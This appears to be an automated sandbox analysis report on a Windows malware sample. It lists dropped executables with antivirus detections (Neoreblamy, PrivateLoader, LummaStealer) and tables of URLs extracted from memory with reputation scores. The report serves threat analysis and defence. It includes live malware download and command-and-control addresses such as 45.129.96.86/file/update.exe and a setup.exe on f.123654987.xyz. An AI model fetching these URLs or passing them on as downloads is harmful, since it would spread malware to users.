Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	712 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	1 Hidden Files and Directories	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
lgX7lgUL1w.exe	21%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\8RYSoZQFK6V9LYpTMM1le7yQ.exe	100%	Avira	HEUR/AGEN.1311176
C:\Users\user\AppData\Local\4lBshxehGejQoegWUuOtgGGK.exe	100%	Avira	HEUR/AGEN.1311176
C:\Users\user\AppData\Local\DYOHZPW0D22LInRRNxYgymyV.exe	100%	Avira	HEUR/AGEN.1314708
C:\Users\user\AppData\Local\2nhKzHIgDWCzStH9EAQv4dqj.exe	100%	Avira	HEUR/AGEN.1314708
C:\Users\user\AppData\Local\CwXesQHbkmvSYkF54FDCGs0u.exe	100%	Avira	HEUR/AGEN.1314708
C:\Users\user\AppData\Local\JRER40VeoC2Q4ducOjAkB8be.exe	100%	Avira	HEUR/AGEN.1314708
C:\Users\user\AppData\Local\8RYSoZQFK6V9LYpTMM1le7yQ.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\4lBshxehGejQoegWUuOtgGGK.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\2nhKzHIgDWCzStH9EAQv4dqj.exe	18%	ReversingLabs
C:\Users\user\AppData\Local\3wIIRe1QiHmGmyDfkt1MdfjR.exe	4%	ReversingLabs
C:\Users\user\AppData\Local\AFlhDPRBYXSdsXlIscLwpPBI.exe	4%	ReversingLabs
C:\Users\user\AppData\Local\CwXesQHbkmvSYkF54FDCGs0u.exe	18%	ReversingLabs
C:\Users\user\AppData\Local\DYOHZPW0D22LInRRNxYgymyV.exe	18%	ReversingLabs
C:\Users\user\AppData\Local\H0hJPxhIO3F6BQNxVzuoHmfd.exe	4%	ReversingLabs
C:\Users\user\AppData\Local\IMmyv1eSkv8WoF4sKRLh3j87.exe	4%	ReversingLabs
C:\Users\user\AppData\Local\JRER40VeoC2Q4ducOjAkB8be.exe	18%	ReversingLabs
C:\Users\user\AppData\Local\KFwijURKZUrjToqwGsuVqcsD.exe	53%	ReversingLabs	Win32.Trojan.Neoreblamy
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\Default15_s[1].exe	32%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\Retailer_prog[1].exe	34%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\oiii[1].exe	46%	ReversingLabs	Win64.Trojan.Privateloader
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\123p[1].exe	92%	ReversingLabs	Win64.Trojan.Privateloader
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\default_s[1].exe	32%	ReversingLabs
C:\Users\user\AppData\Local\O6FJxszjCn1zgUzc3ngkew5Q.exe	4%	ReversingLabs
C:\Users\user\AppData\Local\SMjkjKVfovgJQv0DVgLWunVz.exe	53%	ReversingLabs	Win32.Trojan.Neoreblamy
C:\Users\user\AppData\Local\TZazqzIjmIm4XQvcJYbdkOMa.exe	53%	ReversingLabs	Win32.Trojan.Neoreblamy
C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	75%	ReversingLabs	Win32.Trojan.Neoreblamy
C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\atieah64.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\auditpol.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\bash.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\notepad.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\ED0F.exe	96%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\AppData\Local\Temp\{F0567900-3BBD-4439-A130-BA90A759BDE5}.tmp\360P2SP.dll	3%	ReversingLabs
C:\Users\user\AppData\Local\VEH3hOo7SH8Curivn14XA2XL.exe	18%	ReversingLabs
C:\Users\user\AppData\Local\aqGWEPmkK0B9sJyfEBtpOpuJ.exe	18%	ReversingLabs
C:\Users\user\AppData\Local\eVDrCR1hP70QTfLbRAKhpUOl.exe	53%	ReversingLabs	Win32.Trojan.Neoreblamy
C:\Users\user\AppData\Local\gsV4lhPLd9AgpTxUWWWokC1J.exe	53%	ReversingLabs	Win32.Trojan.Neoreblamy
C:\Users\user\AppData\Local\hmtNBhlQWScQGAc2r9fH2laz.exe	4%	ReversingLabs
C:\Users\user\AppData\Local\iMXraNxDRLg4aVOpMn3cNrIf.exe	53%	ReversingLabs	Win32.Trojan.Neoreblamy
C:\Users\user\AppData\Local\j19ppip6hQlQefTQJUWb1E5Y.exe	18%	ReversingLabs
C:\Users\user\AppData\Local\jRw9sx4Ek0t13Tr93vMM8tJ1.exe	53%	ReversingLabs	Win32.Trojan.Neoreblamy
C:\Users\user\AppData\Local\o3bvuCFHWJf8oEmP3T0jhkMM.exe	53%	ReversingLabs	Win32.Trojan.Neoreblamy

Source	Detection	Scanner	Label	Link
https://api.msn.com:443/v1/news/Feed/Windows?t	0%	URL Reputation	safe
https://api.msn.com:443/v1/news/Feed/Windows?	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/http	0%	URL Reputation	safe
https://wns.windows.com/	0%	URL Reputation	safe
https://dev.virtualearth.net/REST/v1/Imagery/Copyright/	0%	URL Reputation	safe
http://Passport.NET/tb_	0%	URL Reputation	safe
http://www.symauth.com/cps0(	0%	URL Reputation	safe
https://dev.virtualearth.net/REST/v1/Locations	0%	URL Reputation	safe
https://dynamic.t	0%	URL Reputation	safe
http://www.symauth.com/rpa00	0%	URL Reputation	safe
https://dev.virtualearth.net/REST/v1/Routes/Transit	0%	URL Reputation	safe
https://dev.virtualearth.net/REST/v1/Routes/Driving	0%	URL Reputation	safe
https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf	0%	URL Reputation	safe
https://login.microsoftonline.com/ppsecure/DeviceQuery.srf	0%	URL Reputation	safe
http://schemas.micro	0%	URL Reputation	safe
https://www.msn.com/en-us/money/markets/costco-is-seeing-a-gold-rush-what-s-behind-the-demand-for-it	0%	URL Reputation	safe
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	0%	URL Reputation	safe
http://5.42.66.10/download/th/retail.phphp	0%	Avira URL Cloud	safe
https://signup.live.com/signup.aspx	0%	URL Reputation	safe
https://account.live.com/inlinesignup.aspx?iww=1&id=80601	0%	URL Reputation	safe
https://account.live.com/inlinesignup.aspx?iww=1&id=80603	0%	URL Reputation	safe
https://api.myip.com/	0%	URL Reputation	safe
https://dev.ditu.live.com/REST/v1/Transit/Stops/	0%	URL Reputation	safe
http://45.129.96.86:80/file/update.exe	100%	Avira URL Cloud	malware
https://kurd.computer/	0%	Avira URL Cloud	safe
https://account.live.com/inlinesignup.aspx?iww=1&id=80605	0%	URL Reputation	safe
https://account.live.com/inlinesignup.aspx?iww=1&id=80604	0%	URL Reputation	safe
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	0%	URL Reputation	safe
http://www.360totalsecurity.com/en/privacy.htmlin	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/02/trust/Issue	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/Nhttp://www.borland.com/namespaces/Types	0%	Avira URL Cloud	safe
https://yip.su/redirect-	0%	Avira URL Cloud	safe
http://guteyr.cc/tmp/index.php	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/soap/encoding/Nhttp://www.borland.com/namespaces/Types	0%	Virustotal		Browse
http://www.360totalsecurity.com/en/privacy.htmlin	0%	Virustotal		Browse
https://yip.su/redirect-	8%	Virustotal		Browse
http://5.42.66.10/download/th/retail.phphp	7%	Virustotal		Browse
http://guteyr.cc/tmp/index.php	3%	Virustotal		Browse
http://45.129.96.86:80/file/update.exe	20%	Virustotal		Browse
http://Passport.NET/tbA	0%	Virustotal		Browse
https://vk.com:80/doc5294803_669772653?hash=MJgzq2uHp4YpxKcxqN6PbWIkURu6KtrsshfCpnqBzv8&dl=rLosXazzK	0%	Avira URL Cloud	safe
http://Passport.NET/tbA	0%	Avira URL Cloud	safe
https://a-dira.net/images/upd2.php$n	0%	Avira URL Cloud	safe
https://vk.com	0%	Avira URL Cloud	safe
https://vk.com:80/doc5294803_669772653?hash=MJgzq2uHp4YpxKcxqN6PbWIkURu6KtrsshfCpnqBzv8&dl=rLosXazzK	0%	Virustotal		Browse
https://kurd.computer/	4%	Virustotal		Browse
https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf.	0%	Avira URL Cloud	safe
https://aka.ms/dotnet-core-applaunch?framework=&framework_version=missing_runtime=true&arch=&rid=	0%	Avira URL Cloud	safe
http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Win10TSE.cabe	0%	Avira URL Cloud	safe
http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Win10TSE.cabg	0%	Avira URL Cloud	safe
http://www.360totalsecurity.com/en/privacy.htmlim	0%	Avira URL Cloud	safe
https://vk.com	1%	Virustotal		Browse
https://free.360totalsecurity.com	0%	Avira URL Cloud	safe
http://www.360totalsecurity.com/en/license.htmlz(	0%	Avira URL Cloud	safe
http://down.360safe.com/setup.exehttp://down.360safe.com/setupbeta.exe360	0%	Avira URL Cloud	safe
http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Win10TSE.cabe	0%	Virustotal		Browse
http://www.autoitscript.com/autoit3/J	0%	Avira URL Cloud	safe
http://www.360totalsecurity.com/en/privacy.htmlim	0%	Virustotal		Browse
http://schemas.xmlsoap.org/ws/2005/02/sc4	0%	Avira URL Cloud	safe
https://free.360totalsecurity.com	2%	Virustotal		Browse
http://www.autoitscript.com/autoit3/J	0%	Virustotal		Browse
http://down.360safe.com/setup.exehttp://down.360safe.com/setupbeta.exe360	0%	Virustotal		Browse
http://s.360totalsecurity.com/safei18n/ins.htm?mid=%s&ver=%s&lan=%s&os=%s&ch=%s&sch=%s&ue=%sMainDlg7	0%	Avira URL Cloud	safe
http://crl.ver)	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/02/sc4	0%	Virustotal		Browse
http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Rel.cabSE.ca	0%	Avira URL Cloud	safe
https://aka.ms/dotnet-core-applaunch?framework=&framework_version=missing_runtime=true&arch=&rid=	0%	Virustotal		Browse
http://www.360totalsecurity.comIDS_LOAD_P2SP_ERROR/tswin10/tsewin10IDS_UPDATE_QUESTIONIDS_UPDATE_WAR	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/02/sc(	0%	Avira URL Cloud	safe
http://s.360totalsecurity.com/safei18n/ins.htm?mid=%s&ver=%s&lan=%s&os=%s&ch=%s&sch=%s&ue=%sMainDlg7	0%	Virustotal		Browse
http://schemas.xmlsoap.org/ws/2005/02/trust/Issueue	0%	Avira URL Cloud	safe
https://a-dira.net/images/upd2.php	0%	Avira URL Cloud	safe
http://s.360safe.com/safei18n/ins_err.htm?ng	0%	Avira URL Cloud	safe
http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Rel.cabSE.ca	0%	Virustotal		Browse
http://5.42.66.10/download/th/space.phpLt	0%	Avira URL Cloud	safe
http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Win10TSE.cabg	0%	Virustotal		Browse
http://schemas.xmlsoap.org/ws/2005/02/sc(	0%	Virustotal		Browse
http://www.360totalsecurity.com/en/license.htmla=95	0%	Avira URL Cloud	safe
https://monoblocked.com:80/525403/setup.exehudp(	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/02/trust/Issueue	0%	Virustotal		Browse
https://ipinfo.io/widget/demo/8.46.123.175	0%	Avira URL Cloud	safe
http://www.360totalsecurity.com/$:	0%	Avira URL Cloud	safe
http://www.360totalsecurity.com/zh-cn/license.htmlins	0%	Avira URL Cloud	safe
http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Win10TS.cab	0%	Avira URL Cloud	safe
https://chrome.google.com/webstore/detail/360-internet-protection/glcimepnljoholdmjchkloafkggfoijhht	0%	Avira URL Cloud	safe
http://185.172.18	0%	Avira URL Cloud	safe
http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Win10TS.cabp	0%	Avira URL Cloud	safe
http://www.360totalsecurity.com/zh-cn/license.htmlins	0%	Virustotal		Browse
http://www.360totalsecurity.com/en/privacy.html%9	0%	Avira URL Cloud	safe
http://www.360totalsecurity.com/en/privacy.htmlF:	0%	Avira URL Cloud	safe
http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Win10TS.cabz	0%	Avira URL Cloud	safe
http://www.360totalsecurity.com/en/privacy.html%9	0%	Virustotal		Browse
http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Win10TS.cab	0%	Virustotal		Browse
http://www.360totalsecurity.com/zh-cn/license.htmla=7	0%	Avira URL Cloud	safe
http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Win10TS.cabp	0%	Virustotal		Browse
https://f.123654987.xyz/525403/setup.exe_	100%	Avira URL Cloud	malware
http://185.172.18	0%	Virustotal		Browse
http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Win10TS.cabv	0%	Avira URL Cloud	safe
https://login.microsoftonline.com/ppsecure/devicechangecredential.srfen	0%	Avira URL Cloud	safe
http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Win10TS.cab.q	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://guteyr.cc/tmp/index.php	true	3%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/Nhttp://www.borland.com/namespaces/Types	c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1426040285.000000000582C000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1430346079.0000000005F14000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1420334429.0000000005373000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417014257.0000000005150000.00000004.00000020.00020000.00000000.sdmp, o2i3jroi23joj23ikrjokij3oroi[1].exe.19.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://kurd.computer/	c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	false	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://5.42.66.10/download/th/retail.phphp	c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478565059.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1460930555.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1479265140.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	false	7%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.msn.com:443/v1/news/Feed/Windows?t	explorer.exe, 00000024.00000000.1373594900.0000000007276000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.360totalsecurity.com/en/privacy.htmlin	xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1286798746.0000000002364000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1287059393.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1284177603.0000000002365000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1282882303.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1283481251.0000000002362000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1279675967.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1290130727.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1284229883.0000000002351000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://45.129.96.86:80/file/update.exe	explorer.exe, 00000024.00000003.2275944266.0000000011531000.00000004.00000001.00020000.00000000.sdmp	true	20%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000024.00000000.1373594900.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://yip.su/redirect-	AddInProcess32.exe, 00000005.00000002.2604784378.0000000002C4D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002990000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002CE9000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002C77000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002C87000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002B2D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002C04000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.000000000299B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002CC5000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002C3D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002A3F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002B92000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002CD9000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002B04000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002B1D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002C65000.00000004.00000800.00020000.00000000.sdmp, aQ7CUsrnipUkMOjgF0nKuX1q.exe.5.dr, OEf7asb27AljF1U8YK72cN6l.exe.5.dr	false	8%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://Passport.NET/tbA	svchost.exe, 00000034.00000003.1503483215.000001F4D8F78000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://vk.com:80/doc5294803_669772653?hash=MJgzq2uHp4YpxKcxqN6PbWIkURu6KtrsshfCpnqBzv8&dl=rLosXazzK	c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1409059874.0000000000644000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414285258.0000000000644000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://a-dira.net/images/upd2.php$n	AddInProcess32.exe, 00000005.00000002.2604784378.0000000002CB4000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002AEF000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002D19000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vk.com	c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004460000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1482426691.0000000004EE0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.00000000043CE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1477395749.0000000004471000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004470000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/http	o2i3jroi23joj23ikrjokij3oroi[1].exe.19.dr	false	URL Reputation: safe	unknown
https://aka.ms/dotnet-core-applaunch?framework=&framework_version=missing_runtime=true&arch=&rid=	c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1420338649.0000000004EE0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1426212707.0000000004460000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1426427943.0000000004461000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1420528579.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1418207825.0000000004460000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf.	svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Win10TSE.cabg	xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1287059393.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1282882303.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1279675967.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1290130727.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1284229883.0000000002351000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.360totalsecurity.com/en/privacy.htmlim	xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1286798746.0000000002364000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1287059393.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1284177603.0000000002365000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1282882303.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1283481251.0000000002362000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1279675967.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1290130727.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1284229883.0000000002351000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://wns.windows.com/	explorer.exe, 00000024.00000000.1419179675.00000000090F2000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Win10TSE.cabe	xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1290130727.0000000002351000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.360totalsecurity.com/en/license.htmlz(	xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1282882303.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1283481251.0000000002362000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1279675967.0000000002351000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 00000009.00000003.1390450740.000002B171666000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.1390014101.000002B17165A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.1402242480.000002B17162B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.1384271390.000002B171662000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://free.360totalsecurity.com	AddInProcess32.exe, 00000005.00000002.2604784378.0000000002A43000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002AEF000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://Passport.NET/tb_	svchost.exe, 00000034.00000002.2848663976.000001F4D963D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://down.360safe.com/setup.exehttp://down.360safe.com/setupbeta.exe360	xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000000.1257196201.0000000000487000.00000008.00000001.01000000.00000006.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000024.00000003.2274608551.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000024.00000000.1465540565.000000000C426000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc4	svchost.exe, 00000034.00000002.2848207235.000001F4D8F5F000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://s.360totalsecurity.com/safei18n/ins.htm?mid=%s&ver=%s&lan=%s&os=%s&ch=%s&sch=%s&ue=%sMainDlg7	xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1334164364.0000000004E44000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1335128422.0000000004F05000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000034.00000002.2789612356.000001F4D86DC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Rel.cabSE.ca	xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1279675967.0000000002351000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.360totalsecurity.comIDS_LOAD_P2SP_ERROR/tswin10/tsewin10IDS_UPDATE_QUESTIONIDS_UPDATE_WAR	xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000000.1257115899.0000000000471000.00000002.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc(	svchost.exe, 00000034.00000003.1932398520.000001F4D9918000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
